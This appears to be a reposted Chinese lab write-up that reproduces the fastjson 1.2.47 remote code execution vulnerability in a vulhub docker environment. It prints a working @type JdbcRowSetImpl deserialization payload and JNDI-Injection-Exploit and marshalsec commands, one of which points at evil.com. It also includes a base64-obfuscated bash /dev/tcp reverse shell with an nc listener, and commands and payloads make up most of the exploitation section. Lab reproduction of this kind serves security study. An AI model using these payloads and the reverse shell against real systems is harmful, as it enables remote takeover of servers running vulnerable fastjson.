fastjson 1.2.47 远程命令执行漏洞

fastjson 1.2.47 远程命令执行漏洞

文章目录

    • fastjson 1.2.47 远程命令执行漏洞
      • 1 在线漏洞解读:
      • 2 环境搭建
      • 3 影响版本:
      • 4 漏洞复现
        • 4.1 访问页面
        • 4.2 bp抓包,修改参数
      • 5 使用插件检测漏洞【FastjsonScan】
        • 5.1使用説明
        • 5.2 使用方法
          • 5.2.1 右键菜单中:
          • 5.2.2 FastjsonScan扫描结果界面:
          • 5.2.3 打开dnslog解析地址,获取的地址粘贴到bp的请求参数中看是否请求成功
          • 5.2.4 测试使用rmi协议可以通信
          • 5.2.5 如不通使用这几种协议尝试, JNDI java的这几种协议(LDAP| RMI| CORBA| DNS| NDS| NIS)
          • 5.2.6 dnslog.cn通了,可以请求成功,存在漏洞,对其进行漏洞利用,准备反弹shell,先需要构建JNDI服务
      • 6 构建一个JNDI服务器
        • 6.1 下载工具JNDI协议服务
        • 6.2 执行漏洞核心指令
      • 7 kali进行下载安裝JNDI服务
        • 7.1 目录位置
        • 7.2执行
          • 7.2.1 执行指令
          • 7.2.2 启动后提示连接这几种地址协议
          • 7.2.3 bp尝试上面的几种地址连接,连接后查看docker容器是否创建文件指令
      • 8 查看docker容器
      • 9 构建反弹shell
        • 9.1 反弹shell一句话
        • 9.2 使用在线工具转义
      • 10 上面指令处理完,反弹shell
        • 10. 1 开启监听
        • 10.2 重新启动 JNDI服务,并将开启shell连接一句话,放到 -C “command”中
        • 10.3 将扫描到的紫色标记连接地址-替换到下图红框中,进行转发
          • 10.4 经过多次尝试地址,获取连接到shell

1 在线漏洞解读:

https://vulhub.org/#/environments/fastjson/1.2.47-rce/

在这里插入图片描述

2 环境搭建

cd  /home/kali/vulhub/fastjson/1.2.47-rce

在这里插入图片描述

启动:

sudo docker-compose up -dsudo docker-compose ps -a
sudo docker ps -a

已启动:访问端口8091

在这里插入图片描述

3 影响版本:

​ fastjson<1.2.48

4 漏洞复现

4.1 访问页面

​ 访问页面http://http://192.168.225.166:8091/,返回json字符串

在这里插入图片描述

4.2 bp抓包,修改参数

bp进行抓包,转发repeater,将get请求转成post;

修改请求参数为json, 增加json参数进行传参,返回序列化后的参数值.

在这里插入图片描述

5 使用插件检测漏洞【FastjsonScan】

https://github.com/Maskhe/FastjsonScan
5.1使用説明
  • 下载项目中的FastjsonScan.jar文件

    在这里插入图片描述

  • 在burp的Extender->Extensions栏,点击Add,选择下载好的jar文件就可以了(执行环境是Java)

如果成功安装,会输出如下信息,如果未能成功安装可以换下jdk版本??我用的1.8

在这里插入图片描述

5.2 使用方法

使用方法也很简单,就像使用repeater一样,你可以在burp的任何地方选中一个请求右键选择【Send to FastjsonScan】将这个请求发送到Fastjson Scan,然后就只需要等待扫描结束

5.2.1 右键菜单中:

在这里插入图片描述

5.2.2 FastjsonScan扫描结果界面:
{"axin":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"is":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://c6juk7iuaimlq6w7ap5jkhrmxd33rs.oastify.com/aaa","autoCommit":true}}

在这里插入图片描述

5.2.3 打开dnslog解析地址,获取的地址粘贴到bp的请求参数中看是否请求成功
http://dnslog.cn/  # 获取新的地址 5z5srb.dnslog.cn

在这里插入图片描述

5.2.4 测试使用rmi协议可以通信

在这里插入图片描述
在这里插入图片描述

5.2.5 如不通使用这几种协议尝试, JNDI java的这几种协议(LDAP| RMI| CORBA| DNS| NDS| NIS)
JNDI,Java Nameing and Directory Interface,Java 命令与目录接口,是一组应用程序接口,目的是为了方便查找远程或本地对象。JNDI 典型的应用场景是配置数据源,除此之外,JNDI 还可以访问现有的目录和服务,例如LDAP| RMI| CORBA| DNS| NDS| NIS
5.2.6 dnslog.cn通了,可以请求成功,存在漏洞,对其进行漏洞利用,准备反弹shell,先需要构建JNDI服务

6 构建一个JNDI服务器

6.1 下载工具JNDI协议服务
https://github.com/welk1n/JNDI-Injection-Exploit.git
6.2 执行漏洞核心指令
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://evil.com/#TouchFile" 9999-----------------------
Run a JNDI reference redirector service pointing to that codebase - two implementations are included: marshalsec.jndi.LDAPRefServer and RMIRefServer.java -cp target/marshalsec-[VERSION]-SNAPSHOT-all.jar marshalsec.jndi.(LDAP|RMI)RefServer <codebase>#<class> [<port>]Use (ldap|rmi)://host:port/obj as the jndiUrl, pointing to that service's listening address.
-----------------------$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]要确保 1099、1389、8180端口可用,不被其他程序占用

7 kali进行下载安裝JNDI服务

7.1 目录位置
┌──(kali💋kali)-[~/tools]
└─$ proxychains git clone https://github.com/welk1n/JNDI-Injection-Exploit.git #编译好tar包目录位置,准备启动JNDI通信服务
┌──(kali💋kali)-[~/tools/java-unserialize/JNDI-Injection-Exploit/target]
└─$ pwd                                                                       
/home/kali/tools/java-unserialize/JNDI-Injection-Exploit/target
7.2执行
7.2.1 执行指令
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/test" -A "192.168.225.166"

在这里插入图片描述

7.2.2 启动后提示连接这几种地址协议
rmi://192.168.225.166:1099/fn3esn
rmi://192.168.225.166:1099/eal10z
ldap://192.168.225.166:1389/eal10z
rmi://192.168.225.166:1099/izbagp
ldap://192.168.225.166:1389/izbagp
7.2.3 bp尝试上面的几种地址连接,连接后查看docker容器是否创建文件指令

在这里插入图片描述

8 查看docker容器

sudo docker ps -a
sudo docker exec -it 532  /bin/bash

在这里插入图片描述

在这里插入图片描述

bp发送请求后已创建文件

在这里插入图片描述

9 构建反弹shell

9.1 反弹shell一句话
nc -lvvp  6666   # 开启监听6666端口服务
----------------------------------
bash -i >& /dev/tcp/192.168.225.166/6666 0>&1
----------------------------------
bash -i >& /dev/tcp/192.168.225.166/6666 0>&1 转成base64位:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNS4xNjYvNjY2NiAwPiYx
----------------------------------
bash -c {echo,base64编码一句话shell}|{base64,-d}|{bash,-i}
--------------
最后组合为
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNS4xNjYvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}
----------------------------------输入java指令:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNS4xNjYvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.225.166"bash -i &> /dev/tcp/192.168.225.166/6666 0<&1 # 反弹交互指令tcp服务
nc -lvp 6666 # l是监听模式;v是显示详细信息;p是指定端口;
9.2 使用在线工具转义
https://ares-x.com/tools/runtime-exec/

在这里插入图片描述

10 上面指令处理完,反弹shell

10. 1 开启监听
nc  -lvvp  6666

在这里插入图片描述

10.2 重新启动 JNDI服务,并将开启shell连接一句话,放到 -C “command”中
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNS4xNjYvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.225.166"

在这里插入图片描述

10.3 将扫描到的紫色标记连接地址-替换到下图红框中,进行转发
rmi://192.168.225.166:1099/omyj1u
ldap://192.168.225.166:1389/omyj1u
rmi://192.168.225.166:1099/ibhzk7
rmi://192.168.225.166:1099/dwddl1
ldap://192.168.225.166:1389/dwddl1

在这里插入图片描述

10.4 经过多次尝试地址,获取连接到shell

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/105848.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

pycharm中快速对比两个.py文件

在学习一个算法的时候&#xff0c;就想着自己再敲一遍代码&#xff0c;结果最后出现了一个莫名其妙的错误&#xff0c;想跟源文件对比一下到底是在哪除了错&#xff0c;之前我都是大致定位一个一个对比&#xff0c;想起来matlab可以快速查找出两个脚本文件(.m文件)的区别&#…

Anylogic 读取和写入Excel文件

1、选择面板-连接-Excel文件&#xff0c;拖入到视图中 然后在excel文件的属性中进行绑定外部excel文件。 绑定完之后&#xff0c;在你需要读取的地方进行写代码&#xff0c; //定义开始读取的行数 //这里设为2&#xff0c;是因为第一行是数据名称 int row12; //读取excel文件信…

23面向对象案例1

目录 1、计算连续表达式的一个过程 2、优化后的代码 为什么不能return resultn&#xff1f; 3、用面向对象的方法可以解决冗余的问题&#xff0c;但是还是不能解决result的值可以被随意修改的问题 4、解决不能被随意修改的问题&#xff0c;可以将类属性改成私有变量吗&…

1.X3-Warming up

/* 此程序使用 Boost Spirit 库来解析用户提供的逗号分隔的数字列表。它演示了如何使用 Spirit 来定义解析 器和执行解析操作&#xff0c;并且在用户输入时反复执行解析操作。用户可以提供一系列逗号分隔的数字&#xff0c;程序会检查它们 是否符合指定的解析规则。如果解析成功…

acwing算法基础之数据结构--单链表

目录 1 知识点2 模板 1 知识点 一般以指针实现为主&#xff0c;可以预生成N个结构体。 struct ListNode {int val;ListNode *next; };但这里以数组模拟为主。 单链表和邻接表。 双链表。 &#xff08;一&#xff09;插入操作 链表插入操作的关键步骤&#xff0c;比如在结点…

C++位图,布隆过滤器

本期我们来学习位图&#xff0c;布隆过滤器等相关知识&#xff0c;以及模拟实现&#xff0c;需求前置知识 C-哈希Hash-CSDN博客 C-封装unordered_KLZUQ的博客-CSDN博客 目录 位图 布隆过滤器 海量数据面试题 全部代码 位图 我们先来看一道面试题 给 40 亿个不重复的无符号…

STM32成熟变频逆变器方案

该方案是一款成熟的变频逆变器的方案&#xff0c;主要是把电源从直流到3相交流的转换&#xff0c;包含变频控制板&#xff0c;逆变主板&#xff0c;IO板&#xff0c;变频控制板主控是STM32F103VET6&#xff0c;配套软件。每一块板子都是原理图和PCB一一对应&#xff0c;并且配套…

gitlab版本库安装

gitlab版本库安装 下地址 https://mirrors.tuna.tsinghua.edu.cn/gitlab-ce/yum/el7/ https://packages.gitlab.com/gitlab/gitlab-ce此处以 gitlab-ce-14.3.0为例 安装依赖 [rootebs-139265 opt]# sudo yum install -y curl policycoreutils-python openssh-server perl […

组件封装使用?

组件封装是指在软件开发中&#xff0c;将功能代码或数据封装成一个独立的、可重用的模块或组件。这种封装可以使得代码更加模块化、可维护性和可重用性。在许多编程语言和开发框架中&#xff0c;都有不同的方式来实现组件封装。 以下是一些常见的组件封装方法和技巧&#xff1…

如何让你的程序支持lua脚本

最近做了一个控制机械臂的程序,使用C语言开发的,调试的时候总是需要修改代码来调整运动轨迹, 总是要编译,实在烦人 不过有个方法就是使用lua来调试运动逻辑 代码如下 static int lua_up(lua_State*l) {size_t stepluaL_checkinteger(l,1);//向上动作up(step);return 0; }st…

Vue路由守卫有哪些,怎么设置,有哪些使用场景?

Vue 路由守卫是在 Vue Router 中提供的一种功能&#xff0c;它允许您在导航到某个路由前、路由变化时或导航离开某个路由时执行代码。Vue 路由守卫提供了以下几种类型&#xff1a; 1.全局前置守卫 router.beforeEach 在进入路由前执行的钩子函数&#xff0c;它会接收三个参数&a…

bat脚本字符串替换:路径中\需要替换,解决一些文件写入路径不对的问题

脚本 set dir_tmp%~dp0 set dir%dir_tmp:\\\\\% set dir_tmp%~dp0 新建一个变量dir_tmp&#xff0c;存储获取的脚本当前路径 set dir%dir_tmp:\\\\\% 新建一个变量dir &#xff0c;存储字符串替换之后的路径 其中黄色的\\实际上代表的是一个\

基于springboot实现音乐网站与分享平台项目【项目源码+论文说明】计算机毕业设计

摘要 本论文主要论述了如何使用JAVA语言开发一个音乐网站与分享平台 &#xff0c;本系统将严格按照软件开发流程进行各个阶段的工作&#xff0c;采用B/S架构&#xff0c;面向对象编程思想进行项目开发。在引言中&#xff0c;作者将论述音乐网站与分享平台的当前背景以及系统开…

全球产业链:人形机器人产业链

本心、输入输出、结果 文章目录 全球产业链:人形机器人产业链前言人形机器人架构层划分机器视觉芯片运动控制模块机身减速器机器人关节控制系统执行器零部件全球产业链:人形机器人产业链 前言 全球产业链:人形机器人产业链,涵盖了硬件制造、软件开发和服务应用等多个环节。…

Android Studio git 取消本地 commit(未Push)

操作比较简单 1.选中项目然后依次选择&#xff1a;Git->Repository->Reset HEAD 2.然后再to Commit中输入HEAD^&#xff0c;表示退回到上一个版本。

Js高级技巧—拖放

拖放基本功能实现 拖放是一种非常流行的用户界面模式。它的概念很简单&#xff1a;点击某个对象&#xff0c;并按住鼠标按钮不放&#xff0c;将 鼠标移动到另一个区域&#xff0c;然后释放鼠标按钮将对象“放”在这里。拖放功能也流行到了 Web 上&#xff0c;成为 了一些更传统…

【树莓派 picamera】

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言https://www.cnblogs.com/uestc-mm/p/7606855.html 一、picamera是什么&#xff1f;二、使用步骤1.引入库2.先要安装opencv 总结 前言 想用树莓派libcamera &a…

P4451 [国家集训队] 整数的lqp拆分

传送门:洛谷 解题思路: 考虑设 f ( i ) f(i) f(i)为和为 i i i的拆分权值和,那么我们可以得到一个递推关系式 f ( i ) ∑ i 1 n f ( n − i ) ∗ f i b ( i ) f(i)\sum_{i1}^nf(n-i)*fib(i) f(i)i1∑n​f(n−i)∗fib(i)这个表达式的含义就是枚举一个数的值,由于分配率,我们…

C多线程编程- 近似求解π

本程序使用蒙特卡洛方法估算圆周率&#xff08;π&#xff09;。它首先创建了指定数量的线程&#xff0c;每个线程生成一个随机点并检查该点是否在单位圆内。基于这些线程的结果&#xff0c;程序计算在单位圆内的点的比例&#xff0c;并乘以4来估算π的值。为了对比&#xff0c…

AI低代码维格云日历视图怎么用?

日历视图,是一个以天为单位,清晰展示当月所有日程的视图。在团队协作的过程中,我们常常会碰到以下场景: 制作项目日历,让团队成员知道每天需要完成什么任务; 制作排课表,给老师和教室安排课程; 制作会议日历,提醒团队成员进行每周计划与回顾; 制作营销日历,把握全年…